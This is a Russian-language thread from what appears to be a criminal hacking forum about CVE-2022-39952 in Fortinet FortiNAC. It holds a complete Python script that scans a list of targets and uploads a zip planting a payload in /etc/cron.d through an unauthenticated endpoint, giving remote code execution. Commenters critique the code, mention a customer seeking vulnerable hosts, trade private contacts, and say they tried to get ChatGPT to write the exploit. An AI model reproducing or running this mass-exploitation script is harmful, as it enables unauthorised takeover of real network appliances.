• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote CVE-2022-39952 Fortinet FortiNAC Unauthenticated RCE PoC

я чатгпт просил мне сделать его, но чет тоже криво выходит )
ну ты ему сорцы с гитхаба скорми еще) мож чего выдаст :)
 
Python:
#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
import socket
import concurrent.futures

urllib3.disable_warnings()

def exploit(protocol, target):
    url = f'{protocol}://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered to {target}')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

def is_port_open(target, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(2)
    result = sock.connect_ex((target, port))
    if result == 0:
        print(f"[+] {target}:{port} - Open")
        return True
    else:
        print(f"[-] {target}:{port} - Closed")
        return False

def scan_ports(target):
    open_ports = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        futures = [executor.submit(is_port_open, target, port) for port in [80, 443, 8080, 8443]]
        for future in concurrent.futures.as_completed(futures):
            if future.result():
                open_ports.append(future.result())
    if len(open_ports) > 0:
        exploit(args.protocol, target)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-p', '--protocol', help='Protocol to use (http or https)', default='https')
    parser.add_argument('-f', '--file', help='Payload', required=True)
    parser.add_argument('-t', '--targets', help='Targets', required=True)
    args = parser.parse_args()

    make_zip(args.file)

    with open(args.targets, 'r') as targets_file:
        targets = targets_file.read().splitlines()

    for target in targets:
        print(f"Scanning ports on {target}")
        scan_ports(target)
 
Prokhorenco pepel а можно узнать, что не так с моим сообщением что оно вызвало у вас дизлайк ?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Зачем и почему ты это написал? Если взялся допилить, то допили по уму.
А так, пару минут потраченного времени людей в попытке понять, что ты тут выложил. Ничего дельного...
Как те пендосы, которые засрали раздел Python говеными "хело-ворлдами".
Уберу диз, если тебе это важно
 
Зачем и почему ты это написал? Если взялся допилить, то допили по уму.
А так, пару минут потраченного времени людей в попытке понять, что ты тут выложил. Ничего дельного...
Как те пендосы, которые засрали раздел Python говеными "хело-ворлдами".
Уберу диз, если тебе это важно
/threads/82475/post-573047
/threads/82475/post-574687
/threads/82475/post-574707

Я добавил все что просили, ни капли более. Когда требуется комментарий - я подписываю что добавлено. Конкретно в этом топике я решил что он будет лишний и люди с "пару минут потраченного времени" будут понимать что дописано и для чего. Другими словами -" не знаешь о чем речь - не пиши". Все очень просто и прозрачно, но спасибо что удалил дизлайк, ты прав - для меня это важно, так как ни в одном моем топике чепухи нет(по крайней мере я так считаю).
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Хоспаде, и что ты сделал из того что просили?
Потоки только для чека портов, и поставил 10 воркеров, хотя работает 4. Кроме порта никаких проверок по телу ответа, ты будешь слать пейлод всегда на каждый открытый порт. Неявное использование args.protocol. Нету обработки исключений, и на первом же таймауте отлетит.
Крутая автоматизация, джва года ждали.
Дизлайк возвращаю за дерзость и чсв.
Успехов
 
Дизлайк возвращаю за дерзость и чсв.
Судя по твоим сообщениям на форуме - чсв здесь ты. Всего хорошего
 
Хоспаде, и что ты сделал из того что просили?
Потоки только для чека портов, и поставил 10 воркеров, хотя работает 4. Кроме порта никаких проверок по телу ответа, ты будешь слать пейлод всегда на каждый открытый порт. Неявное использование args.protocol. Нету обработки исключений, и на первом же таймауте отлетит.
Крутая автоматизация, джва года ждали.
Дизлайк возвращаю за дерзость и чсв.
Успехов

сэр, а у вас нету правильной версии, ну т.е. качественной?:)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
сэр, а у вас нету правильной версии, ну т.е. качественной?
Увы, нету. Был заказчик, пытались найти уязвимый хост для тестов, перебрали кучу, так и не нашли. Если у вас таковой имеется, то смогу допилить, но кмк актуальность его очень мизерная
 
Увы, нету. Был заказчик, пытались найти уязвимый хост для тестов, перебрали кучу, так и не нашли. Если у вас таковой имеется, то смогу допилить, но кмк актуальность его очень мизерная

ты у меня в тохе есть, но что-то я не могу поймать вас, сэр. вобще мат есть, но он специфический.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ты у меня в тохе есть, но что-то я не могу поймать вас, сэр. вобще мат есть, но он специфический.
Попробуй удалить и добавить заново.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я почти всегда онлайн. У вас офф, наверное потому что контакт ваш у себя удалил. Удалите меня у себя в КЛ и добавьте заново. У prozac получилось
 
Поделитесь, пожалуйста, статой. Сколько вам удалось этих фортинаков.(Реальных фортинаков, не ханипотов, у которых на всех портах по сервису с уязвимостью висит) найти. И сколько из них было уязвимых.
Очень интересно.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх